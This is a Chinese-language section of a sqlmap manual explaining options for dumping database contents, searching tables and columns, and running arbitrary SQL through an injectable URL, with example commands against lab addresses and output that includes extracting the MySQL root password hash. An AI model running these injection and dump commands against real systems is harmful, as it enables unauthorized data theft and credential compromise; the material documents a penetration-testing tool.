sqlmap中文手册 (12)

若只想列举部分数据可以使用参数“–start”和“–stop”。如只想列举第一条数据可以添加“–stop 1”,
只想列举第二和第三条数据可以添加“–start 1 –stop 3”,可见这是一个左开右闭区间。
区间范围仅在盲注中有效,因为在基于错误信息的注入和联合查询注入中区间范围会被忽略。

除了用区间范围限制列举的数据外,还可以用“–where”参数来限制列举的数据。
“–where”参数会被Sqlmap转换成WHERE子句,如“–where id>3”会只列举列id的值大于3的数据。

如你所见,Sqlmap十分灵活。可以囫囵地列举整个数据库,也可以细致地在表中选择列,在列中又选择特定数据。

17.列举所有数据库所有表中所有数据

参数:–dump-all和–exclude-sysdbs

使用参数“–dump-all”可列举所有数据库所有表中所有数据。同样地,可使用参数“–exclude-sysdbs”排除系统数据库。

注意微软SQL Server的master数据库不属于系统数据库,因为有些管理员会在这个数据库中存储用户数据。

18.在数据库、表、列中搜索

参数:–search、-C、-T和-D

可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。

参数“–search”要和下列参数之一配合使用:

-C:后跟以逗号分隔的列名,在整个数据库管理系统中搜索

-T:后跟以逗号分隔的表名,在整个数据库管理系统中搜索

-D:后跟以逗号分隔的库名,在整个数据库管理系统中搜索

在搜索时,Sqlmap会询问用户进行精确搜索还是包含搜索。
默认为包含搜索,即搜索的字符串包含于结果中就认为命中。
精确搜索要求搜索的字符串与结果完全相等。

19.运行自定义的SQL语句

参数:–sql-query和–sql-shell

这一功能允许执行任意的SQL语句,Sqlmap会自动解析给出的SQL语句,选择恰当的注入技术并将给出的SQL语句打包到payload中。

如果查询是个SELECT语句,Sqlmap会返回查询结果。如果Web应用使用的数据库管理系统支持多语句查询,Sqlmap会使用堆注入技术。
但要注意Web应用可能不支持堆查询,例如PHP使用Mysql时不支持堆查询,但使用PostgreSQL时支持堆查询。

下例的目标是SQL Server 2000:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

部分输出如下:

  [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''

  [hh:mm:14] [INFO] retrieved: foo

  SELECT 'foo':

  'foo'

  python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

部分输出如下:

  [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''

  [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now

  unpack it into distinct queries to be able to retrieve the output even if we are

  going blind

  [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS

  VARCHAR(8000)), (CHAR(32)))

  [hh:mm:50] [INFO] retrieved: foo

  [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds

  [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA

  RCHAR(8000)), (CHAR(32)))

  [hh:mm:50] [INFO] retrieved: bar

  [hh:mm:50] [DEBUG] performed 27 quer

如你所见,Sqlmap将提供的SQL语句分成了两个不同的SELECT语句,并分别返回结果。

参数“–sql-shell”提供一个交互式的SQL语句执行环境,支持Tab键补全和命令历史记录。如:

  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --sql-shell

部分输出如下:

  [15:06:47] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER

  sql-shell> select 'foo';

  [15:07:41] [INFO] fetching SQL SELECT statement query output: 'select 'foo''

  select 'foo';:    'foo'

  sql-shell> select password from mysql.user where user='root';

  [15:07:42] [INFO] fetching SQL SELECT statement query output: 'select password from mysql.user where user='root''

  select password from mysql.user where user='root'; [1]:

  [*] *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

  sql-shell> show tables;

  [15:11:15] [INFO] fetching SQL SELECT statement query output: 'show tables'

  [15:11:15] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries)

  show tables; [1]:

十四、UDF注入

参数:–udf-inject

UDF是“user-defined function”的缩写,UDF是一种针对MySQL和PostgreSQL的高级注入技术,详情见《Advanced SQL injection to operating system full control》。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpyxgg.html